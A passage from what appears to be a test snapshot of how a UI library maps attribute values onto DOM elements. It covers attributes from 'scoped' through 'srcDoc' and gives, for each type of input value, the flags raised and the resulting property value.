`<empty string>` |\n| `scoped=(string 'false')`| (changed, warning)| `<empty string>` |\n| `scoped=(string 'on')`| (changed)| `<empty string>` |\n| `scoped=(string 'off')`| (changed)| `<empty string>` |\n| `scoped=(symbol)`| (initial, warning)| `<null>` |\n| `scoped=(function)`| (initial, warning)| `<null>` |\n| `scoped=(null)`| (initial)| `<null>` |\n| `scoped=(undefined)`| (initial)| `<null>` |\n\n## `scrolling` (on `<iframe>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `scrolling=(string)`| (changed)| `\"no\"` |\n| `scrolling=(empty string)`| (initial)| `<empty string>` |\n| `scrolling=(array with string)`| (changed)| `\"no\"` |\n| `scrolling=(empty array)`| (initial)| `<empty string>` |\n| `scrolling=(object)`| (changed)| `\"result of toString()\"` |\n| `scrolling=(numeric string)`| (changed)| `\"42\"` |\n| `scrolling=(-1)`| (changed)| `\"-1\"` |\n| `scrolling=(0)`| (changed)| `\"0\"` |\n| `scrolling=(integer)`| (changed)| `\"1\"` |\n| `scrolling=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `scrolling=(float)`| (changed)| `\"99.99\"` |\n| `scrolling=(true)`| (initial, warning)| `<empty string>` |\n| `scrolling=(false)`| (initial, warning)| `<empty string>` |\n| `scrolling=(string 'true')`| (changed)| `\"true\"` |\n| `scrolling=(string 'false')`| (changed)| `\"false\"` |\n| `scrolling=(string 'on')`| (changed)| `\"on\"` |\n| `scrolling=(string 'off')`| (changed)| `\"off\"` |\n| `scrolling=(symbol)`| (initial, warning)| `<empty string>` |\n| `scrolling=(function)`| (initial, warning)| `<empty string>` |\n| `scrolling=(null)`| (initial)| `<empty string>` |\n| `scrolling=(undefined)`| (initial)| `<empty string>` |\n\n## `seamless` (on `<iframe>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `seamless=(string)`| (changed)| `<empty string>` |\n| `seamless=(empty string)`| (initial)| `<null>` |\n| `seamless=(array with string)`| (changed)| `<empty string>` |\n| `seamless=(empty array)`| (changed)| `<empty string>` |\n| `seamless=(object)`| (changed)| `<empty string>` |\n| `seamless=(numeric string)`| (changed)| `<empty string>` |\n| `seamless=(-1)`| (changed)| `<empty string>` |\n| `seamless=(0)`| (initial)| `<null>` |\n| `seamless=(integer)`| (changed)| `<empty string>` |\n| `seamless=(NaN)`| (initial, warning)| `<null>` |\n| `seamless=(float)`| (changed)| `<empty string>` |\n| `seamless=(true)`| (changed)| `<empty string>` |\n| `seamless=(false)`| (initial)| `<null>` |\n| `seamless=(string 'true')`| (changed, warning)| `<empty string>` |\n| `seamless=(string 'false')`| (changed, warning)| `<empty string>` |\n| `seamless=(string 'on')`| (changed)| `<empty string>` |\n| `seamless=(string 'off')`| (changed)| `<empty string>` |\n| `seamless=(symbol)`| (initial, warning)| `<null>` |\n| `seamless=(function)`| (initial, warning)| `<null>` |\n| `seamless=(null)`| (initial)| `<null>` |\n| `seamless=(undefined)`| (initial)| `<null>` |\n\n## `security` (on `<iframe>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `security=(string)`| (changed)| `\"a string\"` |\n| `security=(empty string)`| (changed)| `<empty string>` |\n| `security=(array with string)`| (changed)| `\"string\"` |\n| `security=(empty array)`| (changed)| `<empty string>` |\n| `security=(object)`| (changed)| `\"result of toString()\"` |\n| `security=(numeric string)`| (changed)| `\"42\"` |\n| `security=(-1)`| (changed)| `\"-1\"` |\n| `security=(0)`| (changed)| `\"0\"` |\n| `security=(integer)`| (changed)| `\"1\"` |\n| `security=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `security=(float)`| (changed)| `\"99.99\"` |\n| `security=(true)`| (initial, warning)| `<null>` |\n| `security=(false)`| (initial, warning)| `<null>` |\n| `security=(string 'true')`| (changed)| `\"true\"` |\n| `security=(string 'false')`| (changed)| `\"false\"` |\n| `security=(string 'on')`| (changed)| `\"on\"` |\n| `security=(string 'off')`| (changed)| `\"off\"` |\n| `security=(symbol)`| (initial, warning)| `<null>` |\n| `security=(function)`| (initial, warning)| `<null>` |\n| `security=(null)`| (initial)| `<null>` |\n| `security=(undefined)`| (initial)| `<null>` |\n\n## `seed` (on `<feTurbulence>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `seed=(string)`| (initial)| `<number: 0>` |\n| `seed=(empty string)`| (initial)| `<number: 0>` |\n| `seed=(array with string)`| (initial)| `<number: 0>` |\n| `seed=(empty array)`| (initial)| `<number: 0>` |\n| `seed=(object)`| (initial)| `<number: 0>` |\n| `seed=(numeric string)`| (changed)| `<number: 42>` |\n| `seed=(-1)`| (changed)| `<number: -1>` |\n| `seed=(0)`| (initial)| `<number: 0>` |\n| `seed=(integer)`| (changed)| `<number: 1>` |\n| `seed=(NaN)`| (initial, warning)| `<number: 0>` |\n| `seed=(float)`| (changed)| `<number: 99.98999786376953>` |\n| `seed=(true)`| (initial, warning)| `<number: 0>` |\n| `seed=(false)`| (initial, warning)| `<number: 0>` |\n| `seed=(string 'true')`| (initial)| `<number: 0>` |\n| `seed=(string 'false')`| (initial)| `<number: 0>` |\n| `seed=(string 'on')`| (initial)| `<number: 0>` |\n| `seed=(string 'off')`| (initial)| `<number: 0>` |\n| `seed=(symbol)`| (initial, warning)| `<number: 0>` |\n| `seed=(function)`| (initial, warning)| `<number: 0>` |\n| `seed=(null)`| (initial)| `<number: 0>` |\n| `seed=(undefined)`| (initial)| `<number: 0>` |\n\n## `selected` (on `<option>` inside `<select>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `selected=(string)`| (initial, warning)| `<boolean: true>` |\n| `selected=(empty string)`| (initial, warning)| `<boolean: true>` |\n| `selected=(array with string)`| (initial, warning)| `<boolean: true>` |\n| `selected=(empty array)`| (initial, warning)| `<boolean: true>` |\n| `selected=(object)`| (initial, warning)| `<boolean: true>` |\n| `selected=(numeric string)`| (initial, warning)| `<boolean: true>` |\n| `selected=(-1)`| (initial, warning)| `<boolean: true>` |\n| `selected=(0)`| (initial, warning)| `<boolean: true>` |\n| `selected=(integer)`| (initial, warning)| `<boolean: true>` |\n| `selected=(NaN)`| (initial, warning)| `<boolean: true>` |\n| `selected=(float)`| (initial, warning)| `<boolean: true>` |\n| `selected=(true)`| (initial, warning)| `<boolean: true>` |\n| `selected=(false)`| (initial, warning)| `<boolean: true>` |\n| `selected=(string 'true')`| (initial, warning)| `<boolean: true>` |\n| `selected=(string 'false')`| (initial, warning)| `<boolean: true>` |\n| `selected=(string 'on')`| (initial, warning)| `<boolean: true>` |\n| `selected=(string 'off')`| (initial, warning)| `<boolean: true>` |\n| `selected=(symbol)`| (initial, warning)| `<boolean: true>` |\n| `selected=(function)`| (initial, warning)| `<boolean: true>` |\n| `selected=(null)`| (initial)| `<boolean: true>` |\n| `selected=(undefined)`| (initial)| `<boolean: true>` |\n\n## `selectedIndex` (on `<select>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `selectedIndex=(string)`| (initial, warning)| `<number: -1>` |\n| `selectedIndex=(empty string)`| (initial, warning)| `<number: -1>` |\n| `selectedIndex=(array with string)`| (initial, warning)| `<number: -1>` |\n| `selectedIndex=(empty array)`| (initial, warning)| `<number: -1>` |\n| `selectedIndex=(object)`| (initial, warning)| `<number: -1>` |\n| `selectedIndex=(numeric string)`| (initial, warning)| `<number: -1>` |\n| `selectedIndex=(-1)`| (initial, warning)| `<number: -1>` |\n| `selectedIndex=(0)`| (initial, warning)| `<number: -1>` |\n| `selectedIndex=(integer)`| (initial, warning)| `<number: -1>` |\n| `selectedIndex=(NaN)`| (initial, warning)| `<number: -1>` |\n| `selectedIndex=(float)`| (initial, warning)| `<number: -1>` |\n| `selectedIndex=(true)`| (initial, warning)| `<number: -1>` |\n| `selectedIndex=(false)`| (initial, warning)| `<number: -1>` |\n| `selectedIndex=(string 'true')`| (initial, warning)| `<number: -1>` |\n| `selectedIndex=(string 'false')`| (initial, warning)| `<number: -1>` |\n| `selectedIndex=(string 'on')`| (initial, warning)| `<number: -1>` |\n| `selectedIndex=(string 'off')`| (initial, warning)| `<number: -1>` |\n| `selectedIndex=(symbol)`| (initial, warning)| `<number: -1>` |\n| `selectedIndex=(function)`| (initial, warning)| `<number: -1>` |\n| `selectedIndex=(null)`| (initial, warning)| `<number: -1>` |\n| `selectedIndex=(undefined)`| (initial, warning)| `<number: -1>` |\n\n## `shape` (on `<a>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `shape=(string)`| (changed)| `\"a string\"` |\n| `shape=(empty string)`| (initial)| `<empty string>` |\n| `shape=(array with string)`| (changed)| `\"string\"` |\n| `shape=(empty array)`| (initial)| `<empty string>` |\n| `shape=(object)`| (changed)| `\"result of toString()\"` |\n| `shape=(numeric string)`| (changed)| `\"42\"` |\n| `shape=(-1)`| (changed)| `\"-1\"` |\n| `shape=(0)`| (changed)| `\"0\"` |\n| `shape=(integer)`| (changed)| `\"1\"` |\n| `shape=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `shape=(float)`| (changed)| `\"99.99\"` |\n| `shape=(true)`| (initial, warning)| `<empty string>` |\n| `shape=(false)`| (initial, warning)| `<empty string>` |\n| `shape=(string 'true')`| (changed)| `\"true\"` |\n| `shape=(string 'false')`| (changed)| `\"false\"` |\n| `shape=(string 'on')`| (changed)| `\"on\"` |\n| `shape=(string 'off')`| (changed)| `\"off\"` |\n| `shape=(symbol)`| (initial, warning)| `<empty string>` |\n| `shape=(function)`| (initial, warning)| `<empty string>` |\n| `shape=(null)`| (initial)| `<empty string>` |\n| `shape=(undefined)`| (initial)| `<empty string>` |\n\n## `shape-rendering` (on `<svg>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `shape-rendering=(string)`| (changed, warning)| `\"a string\"` |\n| `shape-rendering=(empty string)`| (changed, warning)| `<empty string>` |\n| `shape-rendering=(array with string)`| (changed, warning)| `\"string\"` |\n| `shape-rendering=(empty array)`| (changed, warning)| `<empty string>` |\n| `shape-rendering=(object)`| (changed, warning)| `\"result of toString()\"` |\n| `shape-rendering=(numeric string)`| (changed, warning)| `\"42\"` |\n| `shape-rendering=(-1)`| (changed, warning)| `\"-1\"` |\n| `shape-rendering=(0)`| (changed, warning)| `\"0\"` |\n| `shape-rendering=(integer)`| (changed, warning)| `\"1\"` |\n| `shape-rendering=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `shape-rendering=(float)`| (changed, warning)| `\"99.99\"` |\n| `shape-rendering=(true)`| (initial, warning)| `<null>` |\n| `shape-rendering=(false)`| (initial, warning)| `<null>` |\n| `shape-rendering=(string 'true')`| (changed, warning)| `\"true\"` |\n| `shape-rendering=(string 'false')`| (changed, warning)| `\"false\"` |\n| `shape-rendering=(string 'on')`| (changed, warning)| `\"on\"` |\n| `shape-rendering=(string 'off')`| (changed, warning)| `\"off\"` |\n| `shape-rendering=(symbol)`| (initial, warning)| `<null>` |\n| `shape-rendering=(function)`| (initial, warning)| `<null>` |\n| `shape-rendering=(null)`| (initial, warning)| `<null>` |\n| `shape-rendering=(undefined)`| (initial, warning)| `<null>` |\n\n## `shapeRendering` (on `<svg>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `shapeRendering=(string)`| (changed)| `\"a string\"` |\n| `shapeRendering=(empty string)`| (changed)| `<empty string>` |\n| `shapeRendering=(array with string)`| (changed)| `\"string\"` |\n| `shapeRendering=(empty array)`| (changed)| `<empty string>` |\n| `shapeRendering=(object)`| (changed)| `\"result of toString()\"` |\n| `shapeRendering=(numeric string)`| (changed)| `\"42\"` |\n| `shapeRendering=(-1)`| (changed)| `\"-1\"` |\n| `shapeRendering=(0)`| (changed)| `\"0\"` |\n| `shapeRendering=(integer)`| (changed)| `\"1\"` |\n| `shapeRendering=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `shapeRendering=(float)`| (changed)| `\"99.99\"` |\n| `shapeRendering=(true)`| (initial, warning)| `<null>` |\n| `shapeRendering=(false)`| (initial, warning)| `<null>` |\n| `shapeRendering=(string 'true')`| (changed)| `\"true\"` |\n| `shapeRendering=(string 'false')`| (changed)| `\"false\"` |\n| `shapeRendering=(string 'on')`| (changed)| `\"on\"` |\n| `shapeRendering=(string 'off')`| (changed)| `\"off\"` |\n| `shapeRendering=(symbol)`| (initial, warning)| `<null>` |\n| `shapeRendering=(function)`| (initial, warning)| `<null>` |\n| `shapeRendering=(null)`| (initial)| `<null>` |\n| `shapeRendering=(undefined)`| (initial)| `<null>` |\n\n## `size` (on `<input>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `size=(string)`| (initial)| `<number: 20>` |\n| `size=(empty string)`| (initial)| `<number: 20>` |\n| `size=(array with string)`| (initial)| `<number: 20>` |\n| `size=(empty array)`| (initial)| `<number: 20>` |\n| `size=(object)`| (initial)| `<number: 20>` |\n| `size=(numeric string)`| (changed)| `<number: 42>` |\n| `size=(-1)`| (initial)| `<number: 20>` |\n| `size=(0)`| (initial)| `<number: 20>` |\n| `size=(integer)`| (changed)| `<number: 1>` |\n| `size=(NaN)`| (initial, warning)| `<number: 20>` |\n| `size=(float)`| (changed)| `<number: 99>` |\n| `size=(true)`| (initial, warning)| `<number: 20>` |\n| `size=(false)`| (initial, warning)| `<number: 20>` |\n| `size=(string 'true')`| (initial)| `<number: 20>` |\n| `size=(string 'false')`| (initial)| `<number: 20>` |\n| `size=(string 'on')`| (initial)| `<number: 20>` |\n| `size=(string 'off')`| (initial)| `<number: 20>` |\n| `size=(symbol)`| (initial, warning)| `<number: 20>` |\n| `size=(function)`| (initial, warning)| `<number: 20>` |\n| `size=(null)`| (initial)| `<number: 20>` |\n| `size=(undefined)`| (initial)| `<number: 20>` |\n\n## `sizes` (on `<link>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `sizes=(string)`| (changed)| `[\"a\", \"string\"]` |\n| `sizes=(empty string)`| (initial)| `[]` |\n| `sizes=(array with string)`| (changed)| `[\"string\"]` |\n| `sizes=(empty array)`| (initial)| `[]` |\n| `sizes=(object)`| (changed)| `[\"result\", \"of\", \"toString()\"]` |\n| `sizes=(numeric string)`| (changed)| `[\"42\"]` |\n| `sizes=(-1)`| (changed)| `[\"-1\"]` |\n| `sizes=(0)`| (changed)| `[\"0\"]` |\n| `sizes=(integer)`| (changed)| `[\"1\"]` |\n| `sizes=(NaN)`| (changed, warning)| `[\"NaN\"]` |\n| `sizes=(float)`| (changed)| `[\"99.99\"]` |\n| `sizes=(true)`| (initial, warning)| `[]` |\n| `sizes=(false)`| (initial, warning)| `[]` |\n| `sizes=(string 'true')`| (changed)| `[\"true\"]` |\n| `sizes=(string 'false')`| (changed)| `[\"false\"]` |\n| `sizes=(string 'on')`| (changed)| `[\"on\"]` |\n| `sizes=(string 'off')`| (changed)| `[\"off\"]` |\n| `sizes=(symbol)`| (initial, warning)| `[]` |\n| `sizes=(function)`| (initial, warning)| `[]` |\n| `sizes=(null)`| (initial)| `[]` |\n| `sizes=(undefined)`| (initial)| `[]` |\n\n## `slope` (on `<font-face>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `slope=(string)`| (changed)| `\"a string\"` |\n| `slope=(empty string)`| (changed)| `<empty string>` |\n| `slope=(array with string)`| (changed)| `\"string\"` |\n| `slope=(empty array)`| (changed)| `<empty string>` |\n| `slope=(object)`| (changed)| `\"result of toString()\"` |\n| `slope=(numeric string)`| (changed)| `\"42\"` |\n| `slope=(-1)`| (changed)| `\"-1\"` |\n| `slope=(0)`| (changed)| `\"0\"` |\n| `slope=(integer)`| (changed)| `\"1\"` |\n| `slope=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `slope=(float)`| (changed)| `\"99.99\"` |\n| `slope=(true)`| (initial, warning)| `<null>` |\n| `slope=(false)`| (initial, warning)| `<null>` |\n| `slope=(string 'true')`| (changed)| `\"true\"` |\n| `slope=(string 'false')`| (changed)| `\"false\"` |\n| `slope=(string 'on')`| (changed)| `\"on\"` |\n| `slope=(string 'off')`| (changed)| `\"off\"` |\n| `slope=(symbol)`| (initial, warning)| `<null>` |\n| `slope=(function)`| (initial, warning)| `<null>` |\n| `slope=(null)`| (initial)| `<null>` |\n| `slope=(undefined)`| (initial)| `<null>` |\n\n## `spacing` (on `<textPath>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `spacing=(string)`| (changed)| `<number: 1>` |\n| `spacing=(empty string)`| (initial)| `<number: 2>` |\n| `spacing=(array with string)`| (changed)| `<number: 1>` |\n| `spacing=(empty array)`| (initial)| `<number: 2>` |\n| `spacing=(object)`| (initial)| `<number: 2>` |\n| `spacing=(numeric string)`| (initial)| `<number: 2>` |\n| `spacing=(-1)`| (initial)| `<number: 2>` |\n| `spacing=(0)`| (initial)| `<number: 2>` |\n| `spacing=(integer)`| (initial)| `<number: 2>` |\n| `spacing=(NaN)`| (initial, warning)| `<number: 2>` |\n| `spacing=(float)`| (initial)| `<number: 2>` |\n| `spacing=(true)`| (initial, warning)| `<number: 2>` |\n| `spacing=(false)`| (initial, warning)| `<number: 2>` |\n| `spacing=(string 'true')`| (initial)| `<number: 2>` |\n| `spacing=(string 'false')`| (initial)| `<number: 2>` |\n| `spacing=(string 'on')`| (initial)| `<number: 2>` |\n| `spacing=(string 'off')`| (initial)| `<number: 2>` |\n| `spacing=(symbol)`| (initial, warning)| `<number: 2>` |\n| `spacing=(function)`| (initial, warning)| `<number: 2>` |\n| `spacing=(null)`| (initial)| `<number: 2>` |\n| `spacing=(undefined)`| (initial)| `<number: 2>` |\n\n## `span` (on `<col>` inside `<colgroup>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `span=(string)`| (initial, ssr error, ssr mismatch)| `<number: 1>` |\n| `span=(empty string)`| (initial, ssr error, ssr mismatch)| `<number: 1>` |\n| `span=(array with string)`| (initial, ssr error, ssr mismatch)| `<number: 1>` |\n| `span=(empty array)`| (initial, ssr error, ssr mismatch)| `<number: 1>` |\n| `span=(object)`| (initial, ssr error, ssr mismatch)| `<number: 1>` |\n| `span=(numeric string)`| (changed, ssr error, ssr mismatch)| `<number: 42>` |\n| `span=(-1)`| (initial, ssr error, ssr mismatch)| `<number: 1>` |\n| `span=(0)`| (initial, ssr error, ssr mismatch)| `<number: 1>` |\n| `span=(integer)`| (initial, ssr error, ssr mismatch)| `<number: 1>` |\n| `span=(NaN)`| (initial, warning, ssr error, ssr mismatch)| `<number: 1>` |\n| `span=(float)`| (changed, ssr error, ssr mismatch)| `<number: 99>` |\n| `span=(true)`| (initial, warning, ssr error, ssr mismatch)| `<number: 1>` |\n| `span=(false)`| (initial, warning, ssr error, ssr mismatch)| `<number: 1>` |\n| `span=(string 'true')`| (initial, ssr error, ssr mismatch)| `<number: 1>` |\n| `span=(string 'false')`| (initial, ssr error, ssr mismatch)| `<number: 1>` |\n| `span=(string 'on')`| (initial, ssr error, ssr mismatch)| `<number: 1>` |\n| `span=(string 'off')`| (initial, ssr error, ssr mismatch)| `<number: 1>` |\n| `span=(symbol)`| (initial, warning, ssr error, ssr mismatch)| `<number: 1>` |\n| `span=(function)`| (initial, warning, ssr error, ssr mismatch)| `<number: 1>` |\n| `span=(null)`| (initial, ssr error, ssr mismatch)| `<number: 1>` |\n| `span=(undefined)`| (initial, ssr error, ssr mismatch)| `<number: 1>` |\n\n## `specularConstant` (on `<feSpecularLighting>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `specularConstant=(string)`| (initial)| `<number: 1>` |\n| `specularConstant=(empty string)`| (changed)| `<number: 0>` |\n| `specularConstant=(array with string)`| (initial)| `<number: 1>` |\n| `specularConstant=(empty array)`| (changed)| `<number: 0>` |\n| `specularConstant=(object)`| (initial)| `<number: 1>` |\n| `specularConstant=(numeric string)`| (changed)| `<number: 42>` |\n| `specularConstant=(-1)`| (changed)| `<number: -1>` |\n| `specularConstant=(0)`| (changed)| `<number: 0>` |\n| `specularConstant=(integer)`| (initial)| `<number: 1>` |\n| `specularConstant=(NaN)`| (initial, warning)| `<number: 1>` |\n| `specularConstant=(float)`| (changed)| `<number: 99.98999786376953>` |\n| `specularConstant=(true)`| (initial, warning)| `<number: 1>` |\n| `specularConstant=(false)`| (initial, warning)| `<number: 1>` |\n| `specularConstant=(string 'true')`| (initial)| `<number: 1>` |\n| `specularConstant=(string 'false')`| (initial)| `<number: 1>` |\n| `specularConstant=(string 'on')`| (initial)| `<number: 1>` |\n| `specularConstant=(string 'off')`| (initial)| `<number: 1>` |\n| `specularConstant=(symbol)`| (initial, warning)| `<number: 1>` |\n| `specularConstant=(function)`| (initial, warning)| `<number: 1>` |\n| `specularConstant=(null)`| (initial)| `<number: 1>` |\n| `specularConstant=(undefined)`| (initial)| `<number: 1>` |\n\n## `specularExponent` (on `<feSpecularLighting>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `specularExponent=(string)`| (initial)| `<number: 1>` |\n| `specularExponent=(empty string)`| (initial)| `<number: 1>` |\n| `specularExponent=(array with string)`| (initial)| `<number: 1>` |\n| `specularExponent=(empty array)`| (initial)| `<number: 1>` |\n| `specularExponent=(object)`| (initial)| `<number: 1>` |\n| `specularExponent=(numeric string)`| (initial)| `<number: 1>` |\n| `specularExponent=(-1)`| (initial)| `<number: 1>` |\n| `specularExponent=(0)`| (initial)| `<number: 1>` |\n| `specularExponent=(integer)`| (initial)| `<number: 1>` |\n| `specularExponent=(NaN)`| (initial, warning)| `<number: 1>` |\n| `specularExponent=(float)`| (initial)| `<number: 1>` |\n| `specularExponent=(true)`| (initial, warning)| `<number: 1>` |\n| `specularExponent=(false)`| (initial, warning)| `<number: 1>` |\n| `specularExponent=(string 'true')`| (initial)| `<number: 1>` |\n| `specularExponent=(string 'false')`| (initial)| `<number: 1>` |\n| `specularExponent=(string 'on')`| (initial)| `<number: 1>` |\n| `specularExponent=(string 'off')`| (initial)| `<number: 1>` |\n| `specularExponent=(symbol)`| (initial, warning)| `<number: 1>` |\n| `specularExponent=(function)`| (initial, warning)| `<number: 1>` |\n| `specularExponent=(null)`| (initial)| `<number: 1>` |\n| `specularExponent=(undefined)`| (initial)| `<number: 1>` |\n\n## `speed` (on `<div>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `speed=(string)`| (changed)| `\"a string\"` |\n| `speed=(empty string)`| (changed)| `<empty string>` |\n| `speed=(array with string)`| (changed)| `\"string\"` |\n| `speed=(empty array)`| (changed)| `<empty string>` |\n| `speed=(object)`| (changed)| `\"result of toString()\"` |\n| `speed=(numeric string)`| (changed)| `\"42\"` |\n| `speed=(-1)`| (changed)| `\"-1\"` |\n| `speed=(0)`| (changed)| `\"0\"` |\n| `speed=(integer)`| (changed)| `\"1\"` |\n| `speed=(NaN)`| (changed, warning)| `\"NaN\"` |\n| `speed=(float)`| (changed)| `\"99.99\"` |\n| `speed=(true)`| (initial, warning)| `<null>` |\n| `speed=(false)`| (initial, warning)| `<null>` |\n| `speed=(string 'true')`| (changed)| `\"true\"` |\n| `speed=(string 'false')`| (changed)| `\"false\"` |\n| `speed=(string 'on')`| (changed)| `\"on\"` |\n| `speed=(string 'off')`| (changed)| `\"off\"` |\n| `speed=(symbol)`| (initial, warning)| `<null>` |\n| `speed=(function)`| (initial, warning)| `<null>` |\n| `speed=(null)`| (initial)| `<null>` |\n| `speed=(undefined)`| (initial)| `<null>` |\n\n## `spellCheck` (on `<input>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `spellCheck=(string)`| (changed)| `<boolean: false>` |\n| `spellCheck=(empty string)`| (initial)| `<boolean: true>` |\n| `spellCheck=(array with string)`| (changed)| `<boolean: false>` |\n| `spellCheck=(empty array)`| (initial)| `<boolean: true>` |\n| `spellCheck=(object)`| (initial)| `<boolean: true>` |\n| `spellCheck=(numeric string)`| (initial)| `<boolean: true>` |\n| `spellCheck=(-1)`| (initial)| `<boolean: true>` |\n| `spellCheck=(0)`| (initial)| `<boolean: true>` |\n| `spellCheck=(integer)`| (initial)| `<boolean: true>` |\n| `spellCheck=(NaN)`| (initial, warning)| `<boolean: true>` |\n| `spellCheck=(float)`| (initial)| `<boolean: true>` |\n| `spellCheck=(true)`| (initial)| `<boolean: true>` |\n| `spellCheck=(false)`| (changed)| `<boolean: false>` |\n| `spellCheck=(string 'true')`| (initial)| `<boolean: true>` |\n| `spellCheck=(string 'false')`| (changed)| `<boolean: false>` |\n| `spellCheck=(string 'on')`| (initial)| `<boolean: true>` |\n| `spellCheck=(string 'off')`| (initial)| `<boolean: true>` |\n| `spellCheck=(symbol)`| (initial, warning)| `<boolean: true>` |\n| `spellCheck=(function)`| (initial, warning)| `<boolean: true>` |\n| `spellCheck=(null)`| (initial)| `<boolean: true>` |\n| `spellCheck=(undefined)`| (initial)| `<boolean: true>` |\n\n## `spellcheck` (on `<input>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `spellcheck=(string)`| (changed, warning)| `<boolean: false>` |\n| `spellcheck=(empty string)`| (initial, warning)| `<boolean: true>` |\n| `spellcheck=(array with string)`| (changed, warning)| `<boolean: false>` |\n| `spellcheck=(empty array)`| (initial, warning)| `<boolean: true>` |\n| `spellcheck=(object)`| (initial, warning)| `<boolean: true>` |\n| `spellcheck=(numeric string)`| (initial, warning)| `<boolean: true>` |\n| `spellcheck=(-1)`| (initial, warning)| `<boolean: true>` |\n| `spellcheck=(0)`| (initial, warning)| `<boolean: true>` |\n| `spellcheck=(integer)`| (initial, warning)| `<boolean: true>` |\n| `spellcheck=(NaN)`| (initial, warning)| `<boolean: true>` |\n| `spellcheck=(float)`| (initial, warning)| `<boolean: true>` |\n| `spellcheck=(true)`| (initial, warning)| `<boolean: true>` |\n| `spellcheck=(false)`| (initial, warning)| `<boolean: true>` |\n| `spellcheck=(string 'true')`| (initial, warning)| `<boolean: true>` |\n| `spellcheck=(string 'false')`| (changed, warning)| `<boolean: false>` |\n| `spellcheck=(string 'on')`| (initial, warning)| `<boolean: true>` |\n| `spellcheck=(string 'off')`| (initial, warning)| `<boolean: true>` |\n| `spellcheck=(symbol)`| (initial, warning)| `<boolean: true>` |\n| `spellcheck=(function)`| (initial, warning)| `<boolean: true>` |\n| `spellcheck=(null)`| (initial, warning)| `<boolean: true>` |\n| `spellcheck=(undefined)`| (initial, warning)| `<boolean: true>` |\n\n## `spreadMethod` (on `<linearGradient>` inside `<svg>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `spreadMethod=(string)`| (changed)| `<number: 2>` |\n| `spreadMethod=(empty string)`| (initial)| `<number: 1>` |\n| `spreadMethod=(array with string)`| (changed)| `<number: 2>` |\n| `spreadMethod=(empty array)`| (initial)| `<number: 1>` |\n| `spreadMethod=(object)`| (initial)| `<number: 1>` |\n| `spreadMethod=(numeric string)`| (initial)| `<number: 1>` |\n| `spreadMethod=(-1)`| (initial)| `<number: 1>` |\n| `spreadMethod=(0)`| (initial)| `<number: 1>` |\n| `spreadMethod=(integer)`| (initial)| `<number: 1>` |\n| `spreadMethod=(NaN)`| (initial, warning)| `<number: 1>` |\n| `spreadMethod=(float)`| (initial)| `<number: 1>` |\n| `spreadMethod=(true)`| (initial, warning)| `<number: 1>` |\n| `spreadMethod=(false)`| (initial, warning)| `<number: 1>` |\n| `spreadMethod=(string 'true')`| (initial)| `<number: 1>` |\n| `spreadMethod=(string 'false')`| (initial)| `<number: 1>` |\n| `spreadMethod=(string 'on')`| (initial)| `<number: 1>` |\n| `spreadMethod=(string 'off')`| (initial)| `<number: 1>` |\n| `spreadMethod=(symbol)`| (initial, warning)| `<number: 1>` |\n| `spreadMethod=(function)`| (initial, warning)| `<number: 1>` |\n| `spreadMethod=(null)`| (initial)| `<number: 1>` |\n| `spreadMethod=(undefined)`| (initial)| `<number: 1>` |\n\n## `src` (on `<img>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `src=(string)`| (changed)| `\"https://reactjs.com/\"` |\n| `src=(empty string)`| (initial, warning)| `<empty string>` |\n| `src=(array with string)`| (changed)| `\"https://reactjs.com/\"` |\n| `src=(empty array)`| (changed)| `\"http://localhost:3000/\"` |\n| `src=(object)`| (changed)| `\"http://localhost:3000/result%20of%20toString()\"` |\n| `src=(numeric string)`| (changed)| `\"http://localhost:3000/42\"` |\n| `src=(-1)`| (changed)| `\"http://localhost:3000/-1\"` |\n| `src=(0)`| (changed)| `\"http://localhost:3000/0\"` |\n| `src=(integer)`| (changed)| `\"http://localhost:3000/1\"` |\n| `src=(NaN)`| (changed, warning)| `\"http://localhost:3000/NaN\"` |\n| `src=(float)`| (changed)| `\"http://localhost:3000/99.99\"` |\n| `src=(true)`| (changed, warning, ssr mismatch)| `\"http://localhost:3000/true\"` |\n| `src=(false)`| (initial, warning)| `<empty string>` |\n| `src=(string 'true')`| (changed)| `\"http://localhost:3000/true\"` |\n| `src=(string 'false')`| (changed)| `\"http://localhost:3000/false\"` |\n| `src=(string 'on')`| (changed)| `\"http://localhost:3000/on\"` |\n| `src=(string 'off')`| (changed)| `\"http://localhost:3000/off\"` |\n| `src=(symbol)`| (changed, error, warning, ssr mismatch)| `` |\n| `src=(function)`| (changed, warning, ssr mismatch)| `\"http://localhost:3000/function%20f()%20%7B%7D\"` |\n| `src=(null)`| (initial)| `<empty string>` |\n| `src=(undefined)`| (initial)| `<empty string>` |\n\n## `srcDoc` (on `<iframe>` inside `<div>`)\n| Test Case | Flags | Result |\n| --- | --- | --- |\n| `srcDoc=(string)`| (changed)| `\"<p>Hi</p>\"` |\n| `srcDoc=(empty string)`| (initial)| `<empty string>` |\n| 